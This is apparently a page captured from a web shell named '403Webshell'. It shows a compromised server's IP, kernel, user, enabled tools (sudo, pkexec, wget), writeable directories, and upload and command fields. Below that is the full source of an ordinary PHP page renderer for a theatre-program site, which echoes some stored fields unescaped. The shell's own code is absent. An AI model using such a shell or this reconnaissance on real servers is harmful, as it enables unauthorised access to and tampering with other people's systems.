403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.37
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/banners/domains/stagemag/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/banners/domains/stagemag/preview-program-content.php
<?php
/**
 * preview-program-content.php -- Full program content renderer (modern view)
 * Converted from preview-program-content.php (1478 lines)
 *
 * Expects: $programid (or $url_programid), $magtype, $getdupe (optional)
 * Uses db_read() / db_write() from functions.php
 */
require_once __DIR__ . '/functions.php';

$programid = $programid ?? (int)($_GET['programid'] ?? 0);
$magtype   = $magtype ?? (int)($_GET['magtype'] ?? 2);
$ua        = $_SERVER['HTTP_USER_AGENT'] ?? '';
$isMobile  = (stripos($ua, 'iphone') !== false || stripos($ua, 'ipod') !== false || stripos($ua, 'android') !== false || stripos($ua, 'ipad') !== false);

/* ── Load production data if not already loaded ── */
if (!isset($getdupe) || !$getdupe) {
    if (isset($_GET['link']) && $_GET['link'] !== '') {
        $stmtD = db_read()->prepare("SELECT * FROM stagemag.productions WHERE seo_friendly = :link");
        $stmtD->execute([':link' => $_GET['link']]);
    } else {
        $stmtD = db_read()->prepare("SELECT * FROM stagemag.productions WHERE id = :pid");
        $stmtD->execute([':pid' => $programid]);
    }
    $getdupe = $stmtD->fetch();
}

if (!$getdupe) {
    header('Location: https://stagemag.broadwayworld.com', true, 301);
    exit;
}

if (!isset($_GET['link'])) {
    $_GET['link'] = $getdupe['seo_friendly'];
}
$urlLink = $_GET['link'] ?? '';
$programid = (int)($programid ?: $getdupe['id']);

$page = $_GET['page'] ?? 'Light';
$urlSize = $_GET['size'] ?? '';

/* ── Guestbook insert ── */
if (isset($_GET['gbinsert'])) {
    $approved = ($getdupe['guestbookmoderate'] ?? 0) == 0 ? 0 : 1;

    $insGB = db_write()->prepare(
        "INSERT INTO stagemag.guestbook (programid, email, name, entry, approved)
         VALUES (:pid, :email, :name, :entry, :approved)"
    );
    $insGB->execute([
        ':pid'      => $getdupe['id'],
        ':email'    => $_POST['email'] ?? '',
        ':name'     => $_POST['name'] ?? '',
        ':entry'    => $_POST['entry'] ?? '',
        ':approved' => $approved,
    ]);

    // Notify owner
    $stmtOwner = db_read()->prepare("SELECT email FROM bway_bww.starusers WHERE id = :uid");
    $stmtOwner->execute([':uid' => $getdupe['userid']]);
    $ownerEmail = $stmtOwner->fetchColumn();

    if ($ownerEmail) {
        require_once __DIR__ . '/email.php';
        $formName  = htmlspecialchars($_POST['name'] ?? '');
        $formEmail = htmlspecialchars($_POST['email'] ?? '');
        $formEntry = htmlspecialchars($_POST['entry'] ?? '');
        $modLink   = "https://stagemag.broadwayworld.com/programedit-guestbook.php?programid=" . $getdupe['id'];
        $body = "The following comment was just submitted.<p></p>"
            . "<b>Name:</b> {$formName}<br><b>Email:</b> {$formEmail}<p><b>Entry:</b> {$formEntry}</p>"
            . ($approved == 0 ? "<a href=\"{$modLink}\">Click here to moderate</a>" : "This entry has been automatically posted.");
        send_email($ownerEmail, 'Stage Mag Guestbook Comment Added - ' . $formName, $body, '[email protected]', true);
    }
    echo '<center><h1 style="font-size:15pt;color:red">Your Entry Has Been Received</h1></center>';
}

/* ── Track view ── */
$b = rand(1, 2);
$insView = db_write()->prepare(
    "INSERT INTO stagemag.stats (programid, dater, views) VALUES (:pid, :d, :v)"
);
$insView->execute([':pid' => $getdupe['id'], ':d' => date('Y-m-d'), ':v' => $b]);

$updView = db_write()->prepare(
    "UPDATE stagemag.productions SET viewcount = viewcount + 1 WHERE id = :pid"
);
$updView->execute([':pid' => $getdupe['id']]);

/* ── Dark/Light mode styles ── */
$isDark = (strcasecmp($page, 'Dark') === 0);
$bgColor     = $isDark ? 'black' : ($getdupe['backgroundcolor'] ?? '#ffffff');
$textColor   = $isDark ? 'white' : ($getdupe['textcolor'] ?? '#000000');
$linkColor   = $isDark ? 'white' : ($getdupe['linkcolor'] ?? '#000000');
$headerHex   = $getdupe['headerhex'] ?? '#b20223';
$fontSize    = ($urlSize === 'Large') ? '20px' : '16px';
$hrColor     = $isDark ? '#333' : '#333';
?>
<style>
body { background-color:<?= $bgColor ?>; color:<?= $textColor ?>; font-size:<?= $fontSize ?>; line-height:<?= $isDark ? '1.55em' : '29px' ?>; letter-spacing:normal; font-family:Tahoma,Georgia,helvetica,sans-serif; font-weight:400; }
a { color:<?= $linkColor ?>; }
hr { border:0; height:1px; background:#333; background-image:linear-gradient(to right, #ccc, #333, #ccc); }
h1.redb { font-size:14px; color:white; background:<?= $headerHex ?>; display:inline-block; font-weight:600; line-height:18px; border-radius:4px; padding:2px 7px; text-transform:uppercase; }
h1 { font-family:Tahoma,Montserrat,sans-serif; color:<?= $textColor ?>; font-weight:bold; font-size:22px; }
html, body { overflow-x:hidden; }
body { position:relative; }
.imgauto { width:100%; height:auto; padding:4px; }
.img2auto { width:300px; height:auto; padding:4px; }
.video-container { position:relative; padding-bottom:56.25%; padding-top:30px; height:0; margin-bottom:20px; overflow:hidden; }
.video-container iframe, .video-container object, .video-container embed { position:absolute; top:0; left:0; width:100%; height:100%; }
<?php if (!$isMobile): ?>.divart { column-count: 2; }<?php endif; ?>
</style>

<style type="text/css">
#container { position: relative; }
#example { position: absolute; top:0px; left:0px; width:100%; }
</style>

<?php
/* ── Countdown clock ── */
if (($getdupe['countdownclock'] ?? 0) == 1):
    $countdownTo = $getdupe['countdownclockto'] ?? '';
?>
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Raleway">
<style type="text/css">
c { text-align:center; font-size:30px; font-family:Raleway; margin-top:0px; line-height:140%; <?= $isDark ? 'background-color:black;color:white;' : 'background-color:white;color:black;' ?> padding-left:20px; width:100%; padding-right:20px; }
</style>
<center style="margin-bottom:5px;padding-top:5px;font-size:30px;font-family:Raleway;<?= $isDark ? 'background-color:black;color:white;' : 'background-color:white;color:black;' ?>">
    <?= htmlspecialchars($getdupe['countdownclocktext'] ?? '') ?>
    <?php if ($isMobile): ?><br><?php endif; ?>
    <c id="demo"></c>
</center>
<script data-ezscrex=false data-cfasync=false data-pagespeed-no-defer>
var countDownDate = new Date("<?= date('M d, Y H:i:s', strtotime($countdownTo)) ?>").getTime();
var x = setInterval(function() {
    var now = new Date().getTime();
    var distance = countDownDate - now;
    var days = Math.floor(distance / (1000 * 60 * 60 * 24));
    var hours = Math.floor((distance % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60));
    var minutes = Math.floor((distance % (1000 * 60 * 60)) / (1000 * 60));
    var seconds = Math.floor((distance % (1000 * 60)) / 1000);
    document.getElementById("demo").innerHTML = days + "d " + hours + "h " + minutes + "m " + seconds + "s ";
    if (distance < 0) { clearInterval(x); document.getElementById("demo").innerHTML = "WATCH NOW!"; }
}, 1000);
</script>
<?php endif; ?>

<?php
/* ── Light/Dark mode toggle buttons ── */
$linkSlug = htmlspecialchars($urlLink);
$savedUserId = $_SESSION['id'] ?? null;
?>
<?php if ($isDark): ?>
<center>
    <a href="https://stagemag.broadwayworld.com/classic/<?= $linkSlug ?>" style="background:white;text-decoration:none;color:black;padding:4px 10px;border-radius:10px;">Light Mode</a>
    <?php if ($urlSize === 'Large'): ?>
        <a href="https://stagemag.broadwayworld.com/classic_/index.php?link=<?= $linkSlug ?>&page=dark" style="background:white;text-decoration:none;color:black;padding:4px 10px;border-radius:10px;">Regular Font</a>
    <?php else: ?>
        <a href="https://stagemag.broadwayworld.com/classic_/index.php?link=<?= $linkSlug ?>&page=dark&size=large" style="background:white;text-decoration:none;color:black;padding:4px 10px;border-radius:10px;">Large Font</a>
    <?php endif; ?>
    <?php if ($savedUserId): ?>
        <a href="https://stagemag.broadwayworld.com/index.php?saveprogram=on&programsave=<?= $getdupe['id'] ?>" style="background:white;text-decoration:none;color:black;padding:4px 10px;border-radius:10px;">Save Program</a>
    <?php else: ?>
        <a href="https://stagemag.broadwayworld.com/register.php?fromid=<?= $getdupe['id'] ?>" style="background:white;text-decoration:none;color:black;padding:4px 10px;border-radius:10px;">Save Program</a>
    <?php endif; ?>
</center><p></p>
<?php else: ?>
<center>
    <a href="https://stagemag.broadwayworld.com/classic_/index.php?link=<?= $linkSlug ?>&page=dark" style="background:black;text-decoration:none;color:white;padding:4px 10px;border-radius:10px;">Theater Mode</a>
    <?php if ($urlSize === 'Large'): ?>
        <a href="https://stagemag.broadwayworld.com/classic_/index.php?link=<?= $linkSlug ?>" style="background:black;text-decoration:none;color:white;padding:4px 10px;border-radius:10px;">Regular Font</a>
    <?php else: ?>
        <a href="https://stagemag.broadwayworld.com/classic_/index.php?link=<?= $linkSlug ?>&size=large" style="background:black;text-decoration:none;color:white;padding:4px 10px;border-radius:10px;">Large Font</a>
    <?php endif; ?>
    <?php if ($savedUserId): ?>
        <a href="https://stagemag.broadwayworld.com/index.php?saveprogram=on&programsave=<?= $getdupe['id'] ?>" style="background:black;text-decoration:none;color:white;padding:4px 10px;border-radius:10px;">Save Program</a>
    <?php else: ?>
        <a href="https://stagemag.broadwayworld.com/register.php?fromid=<?= $getdupe['id'] ?>" style="background:black;text-decoration:none;color:white;padding:4px 10px;border-radius:10px;">Save Program</a>
    <?php endif; ?>
</center>
<?php endif; ?>

<?php
/* ── Cover image + logo ── */
$logotype = $getdupe['logotype'] ?? '';
if (stripos($logotype, 'Regular') !== false) $logoFile = 'WhiteBkgd.png';
elseif (stripos($logotype, 'Transparent - Black') !== false) $logoFile = 'TransparentBlack.png';
elseif (stripos($logotype, 'Transparent - White') !== false) $logoFile = 'TransparentWhite.png';
elseif (stripos($logotype, 'Black') !== false) $logoFile = 'BlackBkgd.png';
else $logoFile = 'WhiteBkgd.png';

$imgW = (int)($getdupe['imagewidth'] ?? 0);
$imgH = (int)($getdupe['imageheight'] ?? 0);
$coverStyle = 'max-width:100%;border:0px solid black;';
if (stripos($logotype, 'regular') !== false || stripos($logotype, 'Reverse') !== false) {
    $coverStyle .= 'margin-top:90px;';
}
if ($imgW >= $imgH) { $coverStyle .= 'width:750px;'; }
elseif (!$isMobile) { $coverStyle .= 'height:750px;'; }
?>

<div id="container" style="max-width:100%;padding:0px;background-color:<?= htmlspecialchars($getdupe['bghex'] ?? '') ?>;align-content:center;">
    <center><img src="https://cloudimages.broadwayworld.com/stagemag/<?= htmlspecialchars($getdupe['image']) ?>" style="<?= $coverStyle ?>"></center>
    <div id="example" style="max-width:100%;margin-top:0px;"><img src="https://cloudimages.broadwayworld.com/stagemag/newlogos/<?= $logoFile ?>" style="width:100%;<?= $magtype == 1 ? 'max-width:575px' : 'max-width:100%' ?>"></div>
</div>

<?php
/* ── Signup promo ── */
if ($magtype == 2 && ($getdupe['signuppromo'] ?? 0) == 1):
    $newtext = str_ireplace('<p>', '<p style="color:white;font-size:14pt;font-weight:bold;">', $getdupe['signuppromotext'] ?? '');
    $newtext = str_ireplace('<h1 ', '<h1 style="color:white;font-size:14pt;font-weight:bold;" ', $newtext);
?>
<div style="padding:10px;background-color:black;color:white">
    <h1 color="white" style="color:white;"><?= $newtext ?></h1>
    <p></p>
    <iframe src="https://stagemag.broadwayworld.com/program-signup.php?programid=<?= $programid ?>" style="border:0px #ffffff none;width:100%;height:150px;" name="myiFrame" scrolling="no" marginheight="0px" marginwidth="0px" allowfullscreen></iframe>
</div>
<?php endif; ?>

<?php
/* ── Sponsor ads (position 0 = before title) ── */
$stmtAds = db_read()->prepare("SELECT * FROM stagemag.ads WHERE programid = :pid AND wheread = 0 ORDER BY ordernum");
$stmtAds->execute([':pid' => $programid]);
$ads0 = $stmtAds->fetchAll();

if (count($ads0) > 0):
?>
<br>
<center>
<?php if (!empty($getdupe['titleads'])): ?><h1 class="redb"><?= htmlspecialchars($getdupe['titleads']) ?></h1><?php endif; ?>
<?php if (!empty($getdupe['sponsor1header'])): ?><div style="padding:10px;"><h1><?= htmlspecialchars($getdupe['sponsor1header']) ?></h1><br><?php endif; ?>
<?php foreach ($ads0 as $ad):
    if (!empty($ad['codetag']) || !empty($ad['image'])):
        if (!empty($ad['codetag'])):
            echo $ad['codetag'];
        else:
            $adLink = (!empty($ad['linker']) && strlen($ad['linker']) > 5) ? 'https://stagemag.broadwayworld.com/track-click.php?adid=' . $ad['id'] : '';
?>
    <?php if ($adLink): ?><a href="<?= $adLink ?>" target="_new"><?php endif; ?>
    <img src="https://cloudimages.broadwayworld.com/stagemag/<?= htmlspecialchars($ad['image']) ?>" style="max-width:100%;">
    <?php if ($adLink): ?></a><?php endif; ?>
<?php
        endif;
        if (!empty($ad['familytext'])): echo '<br><b>' . $ad['familytext'] . '</b><hr>'; endif;
    endif;
    echo '<p></p>';
endforeach; ?>
<?php if (!empty($getdupe['sponsor1header'])): ?></div><?php endif; ?>
</center>
<?php endif; ?>

<?php
/* ── At This Performance ── */
$todaydate = date('Y-m-d');
$atp = $getdupe['atthisperformance'] ?? '';
$atpStart = $getdupe['atthisperformancestart'] ?? '';
$atpEnd   = $getdupe['atthisperformanceend'] ?? '';
if ($atp !== '' && $atpStart >= $todaydate && $atpEnd >= $todaydate):
?>
<div style="padding:10px;">
<center><?php if (!empty($getdupe['titleat'])): ?><h1 class="redb"><?= htmlspecialchars($getdupe['titleat']) ?></h1><?php endif; ?></center>
<small><?= $isDark ? str_replace('000000', 'FFFFFF', $atp) : $atp ?></small>
</div>
<hr>
<?php endif; ?>

<?php /* ── Title page ── */ ?>
<div style="padding:10px;">
<style type="text/css">p{line-height:150%;}</style>
<?= str_ireplace('<img', '<img style="max-width:100%"', $getdupe['titlepage'] ?? '') ?>
</div>

<?php /* ── Social links ── */
$hasSocial = !empty($getdupe['socialfacebook']) || !empty($getdupe['socialtwitter']) || !empty($getdupe['socialinstagram']) || !empty($getdupe['socialyoutube']) || !empty($getdupe['socialweb']);
if ($hasSocial):
?>
<center>
<table><tr>
<td><b>Follow Us:</b></td>
<?php foreach (['socialtwitter'=>'button-twitter-transparent.png','socialfacebook'=>'button-fb-transparent.png','socialinstagram'=>'button-ig-transparent.png','socialyoutube'=>'button-youtube-transparent.png','socialweb'=>'button-web-transparent.png'] as $field => $icon):
    if (!empty($getdupe[$field])):
        $href = $getdupe[$field];
        if (substr(strtolower($href), 0, 4) !== 'http') $href = 'https://' . $href;
?>
<td><a href="<?= htmlspecialchars($href) ?>" target="_new"><img src="https://cloudimages.broadwayworld.com/stagemag/<?= $icon ?>" style='height:25px;'></a></td>
<?php endif; endforeach; ?>
</tr></table>
</center>
<?php endif; ?>

<hr>

<?php
/* ── Extra pages: After Title Page ── */
$stmtExtra = db_read()->prepare("SELECT pagetitle, pagecopy FROM stagemag.extrapages WHERE aftersection = 'After Title Page' AND programid = :pid");
$stmtExtra->execute([':pid' => $programid]);
$getextra = $stmtExtra->fetchAll();
if (count($getextra) > 0) { include __DIR__ . '/preview-program-extra.php'; }

/* ── Opening note ── */
if (!empty($getdupe['openingnote'])):
?>
<div class="video-container2" style="overflow:hidden;padding:10px;">
<?= str_ireplace('<img ', '<img class="imgauto" ', $getdupe['openingnote']) ?>
</div>
<hr>
<?php endif;

/* ── Extra pages: After Opening Pages ── */
$stmtExtra = db_read()->prepare("SELECT pagetitle, pagecopy FROM stagemag.extrapages WHERE aftersection = 'After Opening Pages' AND programid = :pid");
$stmtExtra->execute([':pid' => $programid]);
$getextra = $stmtExtra->fetchAll();
if (count($getextra) > 0) { include __DIR__ . '/preview-program-extra.php'; }

/* ── Song list ── */
if (!empty($getdupe['songlist'])):
?>
<div style="padding:10px;">
<center><h1 class="redb"><?= htmlspecialchars($getdupe['titlesong'] ?? 'Song List') ?></h1></center>
<small><?= $getdupe['songlist'] ?></small>
</div>
<hr>
<?php endif; ?>

<?php
/* ── Ads position 2 ── */
$stmtAds2 = db_read()->prepare("SELECT * FROM stagemag.ads WHERE programid = :pid AND wheread = 2 ORDER BY ordernum");
$stmtAds2->execute([':pid' => $programid]);
$ads2 = $stmtAds2->fetchAll();
if (count($ads2) > 0):
?>
<br>
<center>
<?php if (!empty($getdupe['titleads'])): ?><h1 class="redb"><?= htmlspecialchars($getdupe['titleads']) ?></h1><?php endif; ?>
<?php if (!empty($getdupe['sponsor3header'])): ?><div style="padding:10px;"><h1><?= htmlspecialchars($getdupe['sponsor3header']) ?></h1><br><?php endif; ?>
<?php foreach ($ads2 as $ad):
    if (!empty($ad['codetag'])) { echo $ad['codetag']; }
    elseif (!empty($ad['image'])) {
        $adLink = (!empty($ad['linker']) && strlen($ad['linker']) > 5) ? 'https://stagemag.broadwayworld.com/track-click.php?adid=' . $ad['id'] : '';
        if ($adLink) echo '<a href="' . $adLink . '" target="_new">';
        echo '<img src="https://cloudimages.broadwayworld.com/stagemag/' . htmlspecialchars($ad['image']) . '" style="max-width:100%;">';
        if ($adLink) echo '</a>';
        if (!empty($ad['familytext'])) echo '<br><b>' . $ad['familytext'] . '</b><hr>';
    }
    echo '<p></p>';
endforeach; ?>
<?php if (!empty($getdupe['sponsor3header'])): ?></div><?php endif; ?>
</center>
<?php endif; ?>

<?php
/* ── Who's Who grid ── */
$stmtWho = db_read()->prepare("SELECT * FROM stagemag.cast WHERE programid = :pid AND typer = 1 AND name <> '' ORDER BY typer, ordernum");
$stmtWho->execute([':pid' => $programid]);
$whoRows = $stmtWho->fetchAll();

$stmtShow = db_read()->prepare("SELECT showwho, showcast, showcreative FROM stagemag.productions WHERE id = :pid");
$stmtShow->execute([':pid' => $programid]);
$showme = $stmtShow->fetch();

if (count($whoRows) > 0 && ($showme['showwho'] ?? 0) == 0):
    $colcount = $isMobile ? 2 : 3;
?>
<div style="padding:10px;">
<center><h1 class="redb"><?= htmlspecialchars($getdupe['titlewho'] ?? "Who's Who") ?></h1>
<table style="width:100%;max-width:600px;align:center;">
<?php foreach ($whoRows as $i => $cast):
    if ($i % $colcount == 0) echo '<tr>';
?>
<td style="vertical-align:top;max-width:150px;width:25%;"><div style="text-align:center;margin:10px;">
    <a href="#<?= htmlspecialchars($cast['name']) ?>" style="text-decoration:none;">
    <?php if (!empty($cast['headshot'])): ?><img src="https://cloudimages.broadwayworld.com/stagemag/nd<?= htmlspecialchars($cast['headshot']) ?>" alt="<?= htmlspecialchars($cast['name']) ?>" style="width:125px;" width="125"><?php endif; ?><br>
    <span style="font-size:10pt;"><b><?= htmlspecialchars($cast['name']) ?></b><br><?= htmlspecialchars($cast['role']) ?></a></span>
</div></td>
<?php
    if (($i + 1) % $colcount == 0) echo '</tr>';
endforeach; ?>
</table>
</center></div>
<hr>
<?php endif; ?>

<?php
/* ── Cast list ── */
$stmtCast = db_read()->prepare("SELECT * FROM stagemag.cast WHERE programid = :pid AND typer = 1 AND name <> '' ORDER BY ordernum");
$stmtCast->execute([':pid' => $programid]);
$castRows = $stmtCast->fetchAll();

if (count($castRows) > 0 && ($showme['showcast'] ?? 0) == 0):
?>
<div style="padding:10px;">
<center><h1 class="redb"><?= htmlspecialchars($getdupe['titlecast'] ?? 'Cast') ?></h1></center>
<div align="center">
<table border="0" width="100%" cellpadding="4" cellspacing="0" class="classname" style="max-width:600px;">
<?php foreach ($castRows as $c): ?>
<tr>
    <td style="max-width:200px;white-space:inherit;width:33%;vertical-align:middle;"><a href="#<?= htmlspecialchars($c['name']) ?>" style="text-decoration:none;"><center><?= htmlspecialchars($c['name']) ?></center></a></td>
    <td style="max-width:200px;width:33%;vertical-align:middle;"><center><hr style="height:1px;"></center></td>
    <td style="max-width:200px;width:33%;white-space:inherit;vertical-align:middle;"><center><?= htmlspecialchars($c['role']) ?></center></td>
</tr>
<?php endforeach; ?>
</table>
</div>
</div>
<hr>
<?php endif; ?>

<?php
/* ── Extra pages: After Cast Page ── */
$stmtExtra = db_read()->prepare("SELECT pagetitle, pagecopy FROM stagemag.extrapages WHERE aftersection = 'After Cast Page' AND programid = :pid");
$stmtExtra->execute([':pid' => $programid]);
$getextra = $stmtExtra->fetchAll();
if (count($getextra) > 0) { include __DIR__ . '/preview-program-extra.php'; }

/* ── Creative Team ── */
$stmtCreative = db_read()->prepare("SELECT * FROM stagemag.cast WHERE programid = :pid AND typer = 2 AND name <> '' ORDER BY ordernum");
$stmtCreative->execute([':pid' => $programid]);
$creativeRows = $stmtCreative->fetchAll();

if ((count($creativeRows) > 0 || !empty($getdupe['extrabio'])) && ($showme['showcreative'] ?? 0) == 0):
?>
<div style="padding:10px;">
<center><h1 class="redb"><?= htmlspecialchars($getdupe['titlecreative'] ?? 'Creative Team') ?></h1></center>
<div align="center"><center>
<table border="0" width="100%" cellpadding="4" cellspacing="0" class="classname">
<?php foreach ($creativeRows as $c): ?>
<tr>
    <td style="max-width:200px;width:40%;white-space:inherit;vertical-align:middle;padding-bottom:10px;"><a href="#<?= htmlspecialchars($c['name']) ?>" style="text-decoration:none;"><center><?= htmlspecialchars($c['name']) ?></center></a></td>
    <td style="max-width:200px;width:20%;white-space:inherit;vertical-align:middle;padding-bottom:10px;"><center><hr style="height:1px;"></center></td>
    <td style="max-width:200px;width:40%;white-space:inherit;vertical-align:middle;padding-bottom:10px;"><center><?= htmlspecialchars($c['role']) ?></center></td>
</tr>
<?php endforeach; ?>
</table></center></div>
</div>
<?php if (!empty($getdupe['extrabio'])): ?>
<div style="padding:10px;"><?= $getdupe['extrabio'] ?></div>
<?php endif; ?>
<hr>
<?php endif; ?>

<?php
/* ── Extra pages: After Creative Team Page ── */
$stmtExtra = db_read()->prepare("SELECT pagetitle, pagecopy FROM stagemag.extrapages WHERE aftersection = 'After Creative Team Page' AND programid = :pid");
$stmtExtra->execute([':pid' => $programid]);
$getextra = $stmtExtra->fetchAll();
if (count($getextra) > 0) { include __DIR__ . '/preview-program-extra.php'; }

/* ── Meet the Company (bios) ── */
$stmtMeet = db_read()->prepare("SELECT * FROM stagemag.cast WHERE name <> '' AND bio <> '' AND programid = :pid ORDER BY typer, ordernum");
$stmtMeet->execute([':pid' => $programid]);
$meetRows = $stmtMeet->fetchAll();

if (count($meetRows) > 0 && ($getdupe['showmeet'] ?? 1) == 1):
?>
<center><h1 class="redb"><?= htmlspecialchars($getdupe['titlemeet'] ?? 'Meet the Company') ?></h1></center><br>
<div style="padding:10px;">
<?php foreach ($meetRows as $i => $c): ?>
<div class="divarat" style="width:100%;<?= ($i < count($meetRows) - 1) ? 'border-bottom:1px;' : 'border-bottom:0px;' ?>border-bottom-style:dashed;margin-bottom:15px;min-height:110px;font-size:12pt;">
    <?php if (!empty($c['headshot'])): ?>
    <div style="float:right;padding:5px;"><img src="https://cloudimages.broadwayworld.com/stagemag/nd<?= htmlspecialchars($c['headshot']) ?>" style='height:100px;'></div>
    <?php endif; ?>
    <a name="<?= htmlspecialchars($c['name']) ?>"></a>
    <span style="font-size:18pt;"><span style="font-weight:bold;"><?= htmlspecialchars($c['name']) ?></span><?php if (!empty($c['role'])): ?> (<?= htmlspecialchars($c['role']) ?>)<?php endif; ?></span>
    <?php if (!empty($c['bio'])): ?><br><?= $c['bio'] ?><?php endif; ?>
    <table>
    <?php if (!empty($c['twitter'])):
        $twUrl = (stripos($c['twitter'], 'twitter.com') === false) ? 'https://www.twitter.com/' . $c['twitter'] : $c['twitter'];
        $twDisplay = str_replace('https://twitter.com/', '', $c['twitter']);
    ?>
    <tr><td><a href="<?= htmlspecialchars($twUrl) ?>" target="_new"><img src="https://cloudimages.broadwayworld.com/stagemag/<?= $isDark ? 'dark' : '' ?>2button-twitter.png" align="left" height="30"><small><?= htmlspecialchars($twDisplay) ?></small></a></td></tr>
    <?php endif; ?>
    <?php if (!empty($c['instagram'])):
        $igUrl = (stripos($c['instagram'], 'instagram.com') === false) ? 'https://www.instagram.com/' . $c['instagram'] : $c['instagram'];
        $igDisplay = str_replace(['https://www.instagram.com/', '/'], '', $c['instagram']);
    ?>
    <tr><td><a href="<?= htmlspecialchars($igUrl) ?>" target="_new"><img src="https://cloudimages.broadwayworld.com/stagemag/<?= $isDark ? 'dark' : '' ?>2button-ig.png" align="left" height="30"><small><?= htmlspecialchars($igDisplay) ?></small></a></td></tr>
    <?php endif; ?>
    </table>
</div>
<div style="clear: both;"></div>
<?php endforeach; ?>
</div>
<?php endif; ?>

<?php
/* ── Multimedia (photos + videos for modern view) ── */
if ($magtype != 1):
    $stmtPics = db_read()->prepare("SELECT * FROM stagemag.multimedia WHERE programid = :pid ORDER BY typer, ordernum");
    $stmtPics->execute([':pid' => $programid]);
    $pics = $stmtPics->fetchAll();

    if (count($pics) > 0):
?>
<div style="padding:10px;">
<center><h1 class="redb"><?= htmlspecialchars($getdupe['titlemultimedia'] ?? 'Multimedia') ?></h1><br>
<?php foreach ($pics as $p):
    if ($p['typer'] == 1 && !empty($p['image']) && strlen($p['image']) > 4):
?>
    <img src="https://cloudimages.broadwayworld.com/stagemag/<?= htmlspecialchars($p['image']) ?>" style="width:100%"><br><?= htmlspecialchars($p['caption'] ?? '') ?><p></p>
<?php endif;
    if ($p['typer'] == 2):
        $hasTiktok = (stripos($p['video'] ?? '', 'tik') !== false);
?>
    <?php if (!$hasTiktok): ?><div class="video-container"><?php endif; ?>
    <?= $p['video'] ?><br>
    <?php if (!$hasTiktok): ?></div><?php endif; ?>
    <?= htmlspecialchars($p['caption'] ?? '') ?><br>
<?php endif; endforeach; ?>
</center></div>
<?php endif; endif; ?>

<?php
/* ── Extra pages: After Multimedia ── */
$stmtExtra = db_read()->prepare("SELECT pagetitle, pagecopy FROM stagemag.extrapages WHERE aftersection = 'After Multimedia' AND programid = :pid");
$stmtExtra->execute([':pid' => $programid]);
$getextra = $stmtExtra->fetchAll();
if (count($getextra) > 0) { include __DIR__ . '/preview-program-extra.php'; }

/* ── Ads position 1 ── */
$stmtAds1 = db_read()->prepare("SELECT * FROM stagemag.ads WHERE programid = :pid AND wheread = 1 ORDER BY ordernum");
$stmtAds1->execute([':pid' => $programid]);
$ads1 = $stmtAds1->fetchAll();
if (count($ads1) > 0):
?>
<br>
<center>
<h1 class="redb"><?= htmlspecialchars($getdupe['titleads'] ?? '') ?></h1>
<?php if (!empty($getdupe['sponsor2header'])): ?><div style="padding:10px;"><h1><?= htmlspecialchars($getdupe['sponsor2header']) ?></h1><br><?php endif; ?>
<?php foreach ($ads1 as $ad):
    if (!empty($ad['codetag'])) { echo $ad['codetag']; }
    elseif (!empty($ad['image'])) {
        $adLink = (!empty($ad['linker']) && strlen($ad['linker']) > 5) ? 'https://stagemag.broadwayworld.com/track-click.php?adid=' . $ad['id'] : '';
        if ($adLink) echo '<a href="' . $adLink . '" target="_new">';
        echo '<img src="https://cloudimages.broadwayworld.com/stagemag/' . htmlspecialchars($ad['image']) . '" style="max-width:100%;">';
        if ($adLink) echo '</a>';
        if (!empty($ad['familytext'])) echo '<br><b>' . $ad['familytext'] . '</b><hr>';
    }
    echo '<p></p>';
endforeach; ?>
<?php if (!empty($getdupe['sponsor2header'])): ?></div><?php endif; ?>
</center>
<?php endif; ?>

<?php
/* ── Articles (modern view only) ── */
if ($magtype != 1):
    $stmtArt = db_read()->prepare(
        "SELECT stagemag.articles.id, ordernum, copy, title, media FROM stagemag.articles
         INNER JOIN bway_bww.columntable ON stagemag.articles.colid = columntable.id
         WHERE programid = :pid ORDER BY ordernum"
    );
    $stmtArt->execute([':pid' => $programid]);
    $articles = $stmtArt->fetchAll();

    if (count($articles) > 0):
?>
<hr>
<div style="padding:10px;">
<div class="video-container2" style="overflow:hidden;">
<?php foreach ($articles as $ai => $art):
    $newcopy = str_ireplace('<img ', '<img class="imgauto" ', $art['copy']);
    $newcopy = str_ireplace('<iframe ', '<iframe class="imgauto" ', $newcopy);
    $newcopy = str_ireplace('<a href', '<a target="+new" href', $newcopy);
    if ($isDark) {
        $newcopy = str_ireplace('color:#222222', '', $newcopy);
        $newcopy = str_ireplace('background-color:#ffffff', '', $newcopy);
    }
    $newcopy = str_ireplace('<p> ', '<br><br>', $newcopy);
    $hasIframe = (stripos($newcopy, 'iframe') !== false || stripos($newcopy, 'tiktok') !== false || stripos($newcopy, 'instagram.com/embed') !== false);
?>
    <h1><?= htmlspecialchars($art['title']) ?></h1>
    <p>
    <div <?php if (!$hasIframe): ?>class="divart"<?php endif; ?>>
        <?= $newcopy ?>
    </div>
    <?php if (stripos($art['media'] ?? '', 'youtube') !== false): ?>
    <div class="video-container"><?= $art['media'] ?></div>
    <?php endif; ?>
    </p>
    <?php if ($ai < count($articles) - 1): ?><hr><?php endif; ?>
<?php endforeach; ?>
</div></div>
<?php endif; endif; ?>

<?php
/* ── Extra pages: After Articles ── */
$stmtExtra = db_read()->prepare("SELECT pagetitle, pagecopy FROM stagemag.extrapages WHERE aftersection = 'After Articles' AND programid = :pid");
$stmtExtra->execute([':pid' => $programid]);
$getextra = $stmtExtra->fetchAll();
if (count($getextra) > 0) { include __DIR__ . '/preview-program-extra.php'; }

/* ── Donor list ── */
if (!empty($getdupe['donorlist']) && strlen($getdupe['donorlist']) > 10):
?>
<hr>
<div style="padding:10px;">
<center><h1 class="redb"><?= htmlspecialchars($getdupe['titledonors'] ?? 'Donors') ?></h1></center>
<?= str_ireplace('<img ', '<img class="imgauto" ', $getdupe['donorlist']) ?>
</div>
<?php endif; ?>

<?php
/* ── Extra pages: After Donor List ── */
$stmtExtra = db_read()->prepare("SELECT pagetitle, pagecopy FROM stagemag.extrapages WHERE aftersection = 'After Donor List Page' AND programid = :pid");
$stmtExtra->execute([':pid' => $programid]);
